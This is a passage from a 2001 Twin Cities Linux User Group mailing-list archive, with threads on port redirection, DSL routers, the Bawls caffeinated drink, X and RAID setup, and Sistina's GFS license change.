at: http://www.linuxdoc.org/HOWTO/mini/Hard-Disk-Upgrade/index.html "How to copy a Linux system from one disk to another." -Eric -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. From florin at iucha.net Fri Aug 31 14:34:20 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? In-Reply-To: <20010831134954.C30057@candle.mn.mediaone.net>; from nate@techie.com on Fri, Aug 31, 2001 at 01:49:54PM -0500 References: <43353280FCFFD211971E00005801192E06595147@msgmsp15.norwest.com> <20010831134954.C30057@candle.mn.mediaone.net> Message-ID: <20010831143420.N4906@beaver.iucha.org> On Fri, Aug 31, 2001 at 01:49:54PM -0500, Nate Straz wrote: > On Fri, Aug 31, 2001 at 11:49:53AM -0500, Phillip.J.Crump@WellsFargo.COM wrote: > > How do you do the re-direction from 8080 to 80?? > > I use OpenBSD. :) Here is the ipnat rule that I use. I don't know what > the equivalent is in ipchains, netfilter, whatever the latest Linux > firewall is. > > # Redirect web traffic from 8080 to 80 > rdr sis1 candle.dhs.org/32 port 8080 -> candle.dhs.org port 80 Why not add a "Listen 8080" to httpd.conf? florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From florin at iucha.net Fri Aug 31 14:35:13 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Cisco 675 for sale In-Reply-To: <3B8FD6E1.26E89984@sgi.com>; from sandeen@sgi.com on Fri, Aug 31, 2001 at 01:26:41PM -0500 References: <3B8FD6E1.26E89984@sgi.com> Message-ID: <20010831143513.O4906@beaver.iucha.org> On Fri, Aug 31, 2001 at 01:26:41PM -0500, Eric Sandeen wrote: > Munir Nassar wrote: > > > > Will this router work with the newer DSL lines? > > Nope. Qwest will not hook you up with a 675, AFAIK. (Sorry Jay...) It did hook me up with a 675 back in January... Looks like time has changed... florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From nassarmu at mctc.mnscu.edu Fri Aug 31 15:12:11 2001 From: nassarmu at mctc.mnscu.edu (Munir Nassar) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Cisco 675 for sale Message-ID: i suppose i will have to check with Real-Time when i make my order then... thanks for your help guys -munir >>> "Florin Iucha" 08/31/01 14:37 PM >>> On Fri, Aug 31, 2001 at 01:26:41PM -0500, Eric Sandeen wrote: > Munir Nassar wrote: > > > > Will this router work with the newer DSL lines? > > Nope. Qwest will not hook you up with a 675, AFAIK. (Sorry Jay...) It did hook me up with a 675 back in January... Looks like time has changed... florin -- "If it's not broken, let's fix it till it is." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From natecars at real-time.com Fri Aug 31 15:47:50 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Bawls Message-ID: Anyone interested in a local Bawls source? I just talked to Lund's in Bloomington; they are going to special-order some for me, and may put it out on the shelves. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jacque at fruitioninc.com Fri Aug 31 15:47:26 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: I saw it at Byerly's in SLP, Roseville and Edina. Its in the coolers by the deli area. They've been carrying it for awhile now. ~j > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Nate Carlson > Sent: Friday, August 31, 2001 3:48 PM > To: Twin Cities Linux User Group > Subject: [TCLUG] Bawls > > > Anyone interested in a local Bawls source? > > I just talked to Lund's in Bloomington; they are going to special-order > some for me, and may put it out on the shelves. :) > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From natecars at real-time.com Fri Aug 31 16:02:18 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: On Fri, 31 Aug 2001, Jacqueline Urick wrote: > I saw it at Byerly's in SLP, Roseville and Edina. Its in the coolers by the > deli area. They've been carrying it for awhile now. Really? Cool! Wonder if you can buy by the case from them.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From loren at ensodex.com Fri Aug 31 16:05:22 2001 From: loren at ensodex.com (Loren Cahlander) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: Bawls?!? > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Jacqueline Urick > Sent: Friday, August 31, 2001 3:47 PM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] Bawls > > > I saw it at Byerly's in SLP, Roseville and Edina. Its in the > coolers by the > deli area. They've been carrying it for awhile now. > > ~j > > > -----Original Message----- > > From: tclug-list-admin@mn-linux.org > > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Nate Carlson > > Sent: Friday, August 31, 2001 3:48 PM > > To: Twin Cities Linux User Group > > Subject: [TCLUG] Bawls > > > > > > Anyone interested in a local Bawls source? > > > > I just talked to Lund's in Bloomington; they are going to special-order > > some for me, and may put it out on the shelves. :) > > > > -- > > Nate Carlson | Phone : (952)943-8700 > > http://www.real-time.com | Fax : (952)943-8500 > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From rudie at sihope.com Fri Aug 31 15:30:20 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:27:03 2005 Subject: [TCLUG] Bawls In-Reply-To: References: Message-ID: <01083116302000.01576@workhorse> On Friday 31 August 2001 05:02 pm, you wrote: > On Fri, 31 Aug 2001, Jacqueline Urick wrote: > > I saw it at Byerly's in SLP, Roseville and Edina. Its in the coolers by > > the deli area. They've been carrying it for awhile now. > > Really? Cool! > > Wonder if you can buy by the case from them.. Umm, what's Bawls? -- -Kevin Hinze -- --------------------------- Keyboard Error - Press F1 to continue --------------------------- From natecars at real-time.com Fri Aug 31 16:07:59 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: On Fri, 31 Aug 2001, Loren Cahlander wrote: > Bawls?!? http://www.bawls.com. Highly caffinated drink. Yummy. Expensive. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jacque at fruitioninc.com Fri Aug 31 16:00:27 2001 From: jacque at fruitioninc.com (Jacqueline Urick) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: yeah if they have enough in stock they will, just talk to the manager. > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Nate Carlson > Sent: Friday, August 31, 2001 4:02 PM > To: tclug-list@mn-linux.org > Subject: RE: [TCLUG] Bawls > > > On Fri, 31 Aug 2001, Jacqueline Urick wrote: > > I saw it at Byerly's in SLP, Roseville and Edina. Its in the > coolers by the > > deli area. They've been carrying it for awhile now. > > Really? Cool! > > Wonder if you can buy by the case from them.. > > -- > Nate Carlson | Phone : (952)943-8700 > http://www.real-time.com | Fax : (952)943-8500 > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From cart0196 at tc.umn.edu Fri Aug 31 16:22:45 2001 From: cart0196 at tc.umn.edu (Brian Carter-Stiglitz) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: References: Message-ID: <3.0.6.32.20010831162245.007e06e0@cart0196.email.umn.edu> you can buy a case for 25$ at: http://www.thinkgeek.com/stuff/caffeine/2818.shtml bc-s At 04:07 PM 8/31/01 -0500, you wrote: >On Fri, 31 Aug 2001, Loren Cahlander wrote: >> Bawls?!? > >http://www.bawls.com. > >Highly caffinated drink. > >Yummy. > >Expensive. > >-- >Nate Carlson | Phone : (952)943-8700 >http://www.real-time.com | Fax : (952)943-8500 > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > From natecars at real-time.com Fri Aug 31 16:19:19 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: <3.0.6.32.20010831162245.007e06e0@cart0196.email.umn.edu> Message-ID: On Fri, 31 Aug 2001, Brian Carter-Stiglitz wrote: > you can buy a case for 25$ at: > http://www.thinkgeek.com/stuff/caffeine/2818.shtml plus ~ six bucks shipping per case.. $31/case is a little more than i want to spend for a case of 24 10oz bottles.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jspinti at dart.dartdist.com Fri Aug 31 16:25:30 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: Where would the computer industry be today without caffeine?? :) James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Nate Carlson |Sent: Friday, August 31, 2001 4:13 PM |To: tclug-list@mn-linux.org |Subject: RE: [TCLUG] Bawls | | |On Fri, 31 Aug 2001, Loren Cahlander wrote: |> Bawls?!? | |http://www.bawls.com. | |Highly caffinated drink. | |Yummy. | |Expensive. | |-- |Nate Carlson | Phone : (952)943-8700 |http://www.real-time.com | Fax : (952)943-8500 | | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From lxy at cloudnet.com Fri Aug 31 16:32:03 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: Message-ID: On Fri, 31 Aug 2001, Nate Carlson wrote: > On Fri, 31 Aug 2001, Brian Carter-Stiglitz wrote: > > you can buy a case for 25$ at: > > http://www.thinkgeek.com/stuff/caffeine/2818.shtml > > plus ~ six bucks shipping per case.. This can tie in with the discussion of buying local.,.. bawls can be considered essential hardware. -Brian From chrome at real-time.com Fri Aug 31 16:33:28 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] XF86Config for ATI Xpert2000 (still not working) In-Reply-To: ; from wilson@visi.com on Thu, Aug 30, 2001 at 01:40:48PM -0500 References: Message-ID: <20010831163328.A27765@real-time.com> > Any advice would be appreciated. (I'd hate to find that I'd bought a board > that I thought was supported, but isn't. Nothing worse than the sound your > money makes when it's being flushed down the toilet. :-( try building a kernel with framebuffer console support, and use the framebuffer X server. I had to do that to get a Radeon working well, under X 4.0.3 Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From tmechanic at mn.mediaone.net Fri Aug 31 17:20:22 2001 From: tmechanic at mn.mediaone.net (B T) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls References: Message-ID: <3B900DA6.6CA5E6C4@mn.mediaone.net> How much sugar does it have? From destef at destef.com Fri Aug 31 17:22:09 2001 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: References: Message-ID: <200108312221.f7VMLug03535@ernie.destef.com> buy a case of mt dew and a pack of no-doze pills for the xtra caffiene. You can put Darwinizm to work cheaper than wasting $25/case. More Linux jobs for me in the long run anyway. hehe. enjoy! At 04:07 PM 8/31/01 -0500, you wrote: >On Fri, 31 Aug 2001, Loren Cahlander wrote: >> Bawls?!? > >http://www.bawls.com. > >Highly caffinated drink. > >Yummy. > >Expensive. > >-- >Nate Carlson | Phone : (952)943-8700 >http://www.real-time.com | Fax : (952)943-8500 > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From ray at lctn.k12.mn.us Thu Aug 30 22:00:24 2001 From: ray at lctn.k12.mn.us (Raymond Norton) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] using linux box for a router Message-ID: <000401c13265$5e939320$a344a43f@xtratyme.com> Presently my wireless ISP uses the Mac address of my nic on a windows machine for my assigned IP. I am messing with a Redhat 7.x Linux box. In order to get Internet I need to run Winroute on My PC, and run the Linux box through it to get Internet to both. Winroute is causing a lot of performance problems, so I want to reverse there roles and put the windows nic in the Linux box and use it as a router to run the windows machine through it. Can this be done? If so how would I set it up? Thanks in advance Raymond Norton -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010830/a7022136/attachment.htm From chrome at real-time.com Fri Aug 31 17:35:41 2001 From: chrome at real-time.com (Carl Wilhelm Soderstrom) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Cheap sound cards In-Reply-To: <3B83B672.A4A2F5A7@earthlink.net>; from rechpj@earthlink.net on Wed, Aug 22, 2001 at 08:41:06AM -0500 References: <3B83B672.A4A2F5A7@earthlink.net> Message-ID: <20010831173541.B27765@real-time.com> On Wed, Aug 22, 2001 at 08:41:06AM -0500, Paul Rech wrote: > I need a new sound card. > Anyway, I saw a yamaha PCI 512 voice surround sound at General > Nanosystems for $27. > Which is about as much as I'd like to pay, to give you an idea of cheap. stay away from Yamaha. I've got a ymf192-based board at home; and it _does_ work now; in spite of Yamaha being very Open-Source unfriendly (didn't work when I first got it). I wouldn't buy Yamaha again; just on principle. Carl Soderstrom -- Network Engineer Real-Time Enterprises (952) 943-8700 From rudie at sihope.com Fri Aug 31 17:02:03 2001 From: rudie at sihope.com (K Hinze) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: <200108312221.f7VMLug03535@ernie.destef.com> References: <200108312221.f7VMLug03535@ernie.destef.com> Message-ID: <01083118020301.01576@workhorse> On Friday 31 August 2001 06:22 pm, you wrote: > buy a case of mt dew and a pack of no-doze pills > for the xtra caffiene. You can put Darwinizm to work cheaper > than wasting $25/case. More Linux jobs for me in the long > run anyway. hehe. > > enjoy! > > At 04:07 PM 8/31/01 -0500, you wrote: > >On Fri, 31 Aug 2001, Loren Cahlander wrote: > >> Bawls?!? > > > >http://www.bawls.com. > > > >Highly caffinated drink. > > > >Yummy. > > > >Expensive. 4 shots of expresso 2 tablespoons chocolate syrup 3/4 cup milk/soymilk add some frothed milk/soymilk on top 2 a day everyday! -- -Kevin Hinze -- --------------------------- Keyboard Error - Press F1 to continue --------------------------- From natecars at real-time.com Fri Aug 31 17:50:18 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] GFS is no longer free Message-ID: http://www.sistina.com/news_42%20coming%20soon.htm (from /.). Reading the license, some especially annoying things: Sect 2.1e: <..> Execution of the Covered Code is not restricted except that You are prohibited from receiving a payment for, or directly or indirectly generating revenue from, any service that uses the Covered Code to store or retrieve data. <..> ^-- As I read this, if a consultant goes into a non-profit shop, and wanted to install GFS as a file system, we wouldn't be allowed to charge time for this installation/configuration of GFS. Sect 3.2: You agree to provide Sistina with a complete copy of the Covered Code and related documentation for Modifications created or contributed by You even if such Modifications are not distributed in Source Code or Executable form. ^-- this means that you change it internally, aren't going to distribute it, but you have to give the changes back to them? They also go on to say that they have the rights to do whatever they want with your modifications! Am I reading this stuff right? Ben, what the heck happened out there? VC's got you by the nuts? -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From natecars at real-time.com Fri Aug 31 17:52:03 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls In-Reply-To: <3B900DA6.6CA5E6C4@mn.mediaone.net> Message-ID: On Fri, 31 Aug 2001, B T wrote: > How much sugar does it have? Sugars: 32g (from an empty bottle that's been sitting here for about a year. :) -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From markbrowne at mn.mediaone.net Fri Aug 31 17:45:51 2001 From: markbrowne at mn.mediaone.net (Mark Browne) Date: Mon Jan 17 13:27:04 2005 Subject: [TCLUG] Bawls - Sugar Content References: <3B900DA6.6CA5E6C4@mn.mediaone.net> Message-ID: <005501c1326e$b2d3c960$1e02a8c0@zippy> From natecars at real-time.com Fri Aug 31 17:58:48 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] GFS is no longer free In-Reply-To: Message-ID: On Fri, 31 Aug 2001, Nate Carlson wrote: > http://www.sistina.com/news_42%20coming%20soon.htm (from /.). > > Reading the license, some especially annoying things: > > Sect 2.1e: > <..> Execution of the Covered Code is not restricted except that You are > prohibited from receiving a payment for, or directly or indirectly > generating revenue from, any service that uses the Covered Code to store > or retrieve data. <..> > > ^-- As I read this, if a consultant goes into a non-profit shop, and > wanted to install GFS as a file system, we wouldn't be allowed to charge > time for this installation/configuration of GFS. > > Sect 3.2: > You agree to provide Sistina with a complete copy of the Covered Code and > related documentation for Modifications created or contributed by You even > if such Modifications are not distributed in Source Code or Executable > form. > > ^-- this means that you change it internally, aren't going to distribute > it, but you have to give the changes back to them? They also go on to say > that they have the rights to do whatever they want with your > modifications! > > Am I reading this stuff right? Ben, what the heck happened out there? VC's > got you by the nuts? http://www.opengfs.org well, apparently some other people feel the same way as I do. :) Did Sistina just sign their own death warrant? Hope they get some large companies to start licensing their stuff, for their own sake.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From tmechanic at mn.mediaone.net Fri Aug 31 18:19:51 2001 From: tmechanic at mn.mediaone.net (BT) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] Bawls - Sugar Content References: <3B900DA6.6CA5E6C4@mn.mediaone.net> <005501c1326e$b2d3c960$1e02a8c0@zippy> Message-ID: <3B901B97.3A23B1DC@mn.mediaone.net> Feh! That makes it almost a full meal carbo count, 15 mg Carb = 1 cnt, 15 mg sugar = 1cnt. bfast =4 lunch = 4 dinner =5 Diabetes carb counting. Mark Browne wrote: > >From the http://www.bevnet.com/ site: > > Bawls Guarana > > Ingredients: carbonated water, corn syrup, citric acid, natural guarana > flavor, sodium benzoate (as a preservative), caffeine, artificial flavors > and caramel color. > > Nutrition Facts: Serving Size: 12 fl. oz. Servings per Container: 1 Amount > per serving: Calories: 120 Total Fat: 0g Sodium: 35mg Protein: 0g Total > Carbohydrates: 32g Sugars: 32g > > Mark Browne > > ----- Original Message ----- > From: "B T" > To: > Sent: Friday, August 31, 2001 5:20 PM > Subject: Re: [TCLUG] Bawls > > > How much sugar does it have? > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From lxy at cloudnet.com Fri Aug 31 18:18:09 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] Bawls - Sugar Content In-Reply-To: <005501c1326e$b2d3c960$1e02a8c0@zippy> Message-ID: On Fri, 31 Aug 2001, Mark Browne wrote: > >From the http://www.bevnet.com/ site: > > Bawls Guarana > Nutrition Facts: Serving Size: 12 fl. oz. Servings per Container: 1 Amount > per serving: Calories: 120 Total Fat: 0g Sodium: 35mg Protein: 0g Total > Carbohydrates: 32g Sugars: 32g Mmmmm... geek food! So, I ran to Byerly's in St. Cloud after work, no go. Guess they're either slow or completely oblivious. -Brian From dieman+tclug at ringworld.org Fri Aug 31 18:47:00 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] Qwestdex CDROM In-Reply-To: References: <20010830224335.G26388@ringworld.org> Message-ID: <20010831184700.A6082@ringworld.org> * Yaron [010830 22:59]: > I don't know. I'm fairly sure everyone in MPLS/STP will get a copy anyway. > And if not, I'm sure they'll give you one. Not like you pay for the paper > version, right? Nope, only 60k people got them as a trial -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dieman+tclug at ringworld.org Fri Aug 31 18:49:07 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] Bawls In-Reply-To: References: Message-ID: <20010831184907.B6082@ringworld.org> * Nate Carlson [010831 18:36]: > I just talked to Lund's in Bloomington; they are going to special-order > some for me, and may put it out on the shelves. :) ACM at umn gets Bawlz for the "ACM Vendo" supply :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From lueyb at gridley.ACNS.Carleton.edu Fri Aug 31 18:56:52 2001 From: lueyb at gridley.ACNS.Carleton.edu (Ben Luey) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] php warnings to a variable Message-ID: Hey all, Probably a simple question -- I want to have the warnings / errors from a php function sent to a variable. When I use MYSQL_CONNECT I don't want the user to see the error message if it fails. So I put an @ in front of the fuction. But I want to save the warning message, so I can parse it and give the user a message in englisjh, prompt for a new password if that is the problem, etc. Below was a simple guess that doesn't work: $error=@MYSQL_CONNECT($hostname,$username,$password); Thanks, Ben From sraun at fireopal.org Fri Aug 31 19:16:57 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] ISO complete August Twin Cities Computer User Message-ID: <20010831191657.A5076@iaxs.net> Rumor has it that the August edition of the Computer User had a "50% off any single item" coupon for MEI MicroCenter in it. Said coupon good until mid-September. Can anyone confirm or deny this rumor? Anyone have copy or two they aren't going to use? Anyone have any idea where I might find some August issues? The rack at MicroCenter is now full of the September issue. -- Scott Raun sraun@fireopal.org From nate at techie.com Fri Aug 31 19:12:07 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:27:05 2005 Subject: [TCLUG] Cable Still Blocking Port 80?? In-Reply-To: <20010831143420.N4906@beaver.iucha.org>; from florin@iucha.net on Fri, Aug 31, 2001 at 02:34:20PM -0500 References: <43353280FCFFD211971E00005801192E06595147@msgmsp15.norwest.com> <20010831134954.C30057@candle.mn.mediaone.net> <20010831143420.N4906@beaver.iucha.org> Message-ID: <20010831191207.D30057@candle.mn.mediaone.net> On Fri, Aug 31, 2001 at 02:34:20PM -0500, Florin Iucha wrote: > On Fri, Aug 31, 2001 at 01:49:54PM -0500, Nate Straz wrote: > > On Fri, Aug 31, 2001 at 11:49:53AM -0500, Phillip.J.Crump@WellsFargo.COM wrote: > > > How do you do the re-direction from 8080 to 80?? > > > > # Redirect web traffic from 8080 to 80 > > rdr sis1 candle.dhs.org/32 port 8080 -> candle.dhs.org port 80 > > Why not add a "Listen 8080" to httpd.conf? Because I'm not running Apache and I'd like to think that I can use a temporary measure like a firewall redirect instead of changing my Zope configuration. Nate From ray at lctn.k12.mn.us Fri Aug 31 19:49:40 2001 From: ray at lctn.k12.mn.us (Raymond Norton) Date: Mon Jan 17 13:27:06 2005 Subject: [TCLUG] web mail server Message-ID: <002201c1327f$fbfa3a00$a344a43f@xtratyme.com> I am running Redhat 7.x. I am looking for a web based email server program that has the following features: Mail can be accessed by pop3 clients, and web browsers. Mail can be left on the server, or downloaded to workstations. Mail can be scanned for viruses and if possible for content. Server can be administered from the web. Is there a free or low cost solution for these requirements that has an easy setup? Thanks in advance Raymond Norton -------------- next part -------------- An HTML attachment was scrubbed... URL: http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010831/12892317/attachment.html From timl at rootdown.net Fri Aug 31 20:20:10 2001 From: timl at rootdown.net (Tim Lupfer) Date: Mon Jan 17 13:27:06 2005 Subject: [TCLUG] Cisco 675 for sale In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDE45@mspexch2.office.mktw.net>; from austad@marketwatch.com on Fri, Aug 31, 2001 at 12:44:16PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDE45@mspexch2.office.mktw.net> Message-ID: <20010831202010.A476@rootdown.net> ditto that, if anyone needs *two* cisco 675's I have another to pawn off... I would also consider interesting trades, perhaps a 25 cent coupon for shake and bake? On Fri, Aug 31, 2001 at 12:44:16PM -0500, Austad, Jay wrote: + I don't need my 675 anymore, contact me if you want to buy the thing or it's + going up on egay. -- Tim Lupfer timl@rootdown.net 0xA7ECF2AB @ pgpkeys.mit.edu www.rootdown.net/~timl Q: Why should you always serve a Southern Carolina football man soup in a plate? A: 'Cause if you give him a bowl, he'll throw it away. From lbehrens at boolion.com Fri Aug 31 20:59:11 2001 From: lbehrens at boolion.com (Lee J. Behrens) Date: Mon Jan 17 13:27:06 2005 Subject: [TCLUG] RE: (SuSE) linux, kylix, staroffice integration for controls?? Message-ID: >From: Rick Engebretson >Date: Fri, 31 Aug 2001 13:25:53 GMT >Subject: [TCLUG] (SuSE) linux, kylix, staroffice integration for controls?? >The problem is finding out how to combine StarOffice (perhaps with Java >and error suppression) and Kylix on the same simple linux distribution. >StarOffice seems happy with older distributions. Kylix rejects (g)libc >2.1.3 and insists on either a patch or (g)libc 2.2 used by (eg) SuSE 7.1. >The patches SuSE offers don't seem to satisfy Kylix with regard to some >"loader bug." See http://community.borland.com/article/0,1410,26998,00.html for information about the loader bug. In a nutshell it fixes some nasty problems that can occur when dynamically loading and unloading modules. I don't know whether or not a patch is available for your particular distribution, but I'm leaning towards not. You might be able to use a glibc patch intended for a later version. If that fails, maybe installing glibc 2.2 would work. Lee Behrens From hick0088 at tc.umn.edu Fri Aug 31 22:13:38 2001 From: hick0088 at tc.umn.edu (Mike Hicks) Date: Mon Jan 17 13:27:06 2005 Subject: [TCLUG] Sparc X Windows and RAID questions.. Message-ID: <20010831221338.668951ec.hick0088@tc.umn.edu> I just installed Debian woody on a Sun Ultra 30 the other day. It's going to be a backup server. Currently, I'm in the process of debugging some SCSI issues before it returns to service as an Amanda server, and apparently Veritas's NetBackup is going to be plopped on there at some point. Anyway, this box happens to have a Creator3D card in it, and I was curious as to what must be done to get that working right. I was having trouble getting the Sun mouse (such fragile pieces of junk) to work at all with the Xsun server. I ended up installing XFree86 and plugging in a Microsoft serial mouse, but when I tested by running a bare X server, the mouse was even more jerky than the standard Sun mouse. Just curious if others have played with this odd combination of stuff.. There's a mini-din connector on the back of the display adapter, but I hear that it might be for tying cards together when doing stereo viewing or something strange like that.. I also have a question about software RAID devices in Linux. This system had an external drive enclosure with three 9 GB drives in it that I made into a RAID 0 array for Amanda's holding disk. I'm curious how mounting the disk automatically at boot would work, considering that raid0 is currently a module (I tried compiling it in, but that made the kernel too big -- and I don't think there's a `bzImage'-like option for UltraSPARC) and that I've had to do `/etc/init.d/raid2 start' before mounting the array. -- _ _ _ _ _ ___ _ _ _ ___ _ _ __ Find your aim in life, / \/ \(_)| ' // ._\ / - \(_)/ ./| ' /(__ before you run out of \_||_/|_||_|_\\___/ \_-_/|_|\__\|_|_\ __) ammunition [ Mike Hicks | http://umn.edu/~hick0088/ | mailto:hick0088@tc.umn.edu ] -------------- next part -------------- A non-text attachment was scrubbed... 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I > heard there's patches but I can't find them anywhere. I'm sure the question has been asked tons of times on: news: news.vmware.com .. I had the same problem with 2.4.7 and found those newsgroups to be the best information source :) -- Thomas Eibner DnsZone mod_pointer From mnfan11 at yahoo.com Fri Aug 31 23:31:27 2001 From: mnfan11 at yahoo.com (Elvedin T.) Date: Mon Jan 17 13:27:13 2005 Subject: [TCLUG] Intel 3200 DSL modems and Linux Message-ID: <20010901043127.90400.qmail@web13007.mail.yahoo.com> OK, for sure, Linux dosent support the Intel 3200 DSL modem, or the other way around. Well I have some news. FreeBSD, does support the DSL modem, I think. When I was installing it it detected the modem, or so I think. I never could get FreeBSD installed because I get CD-Rom errors. I think I burned the CD wrong. You will need the latest version of FreeBSD. Well, if anyone can back up my alligations, your help will be greatly appreatieted. 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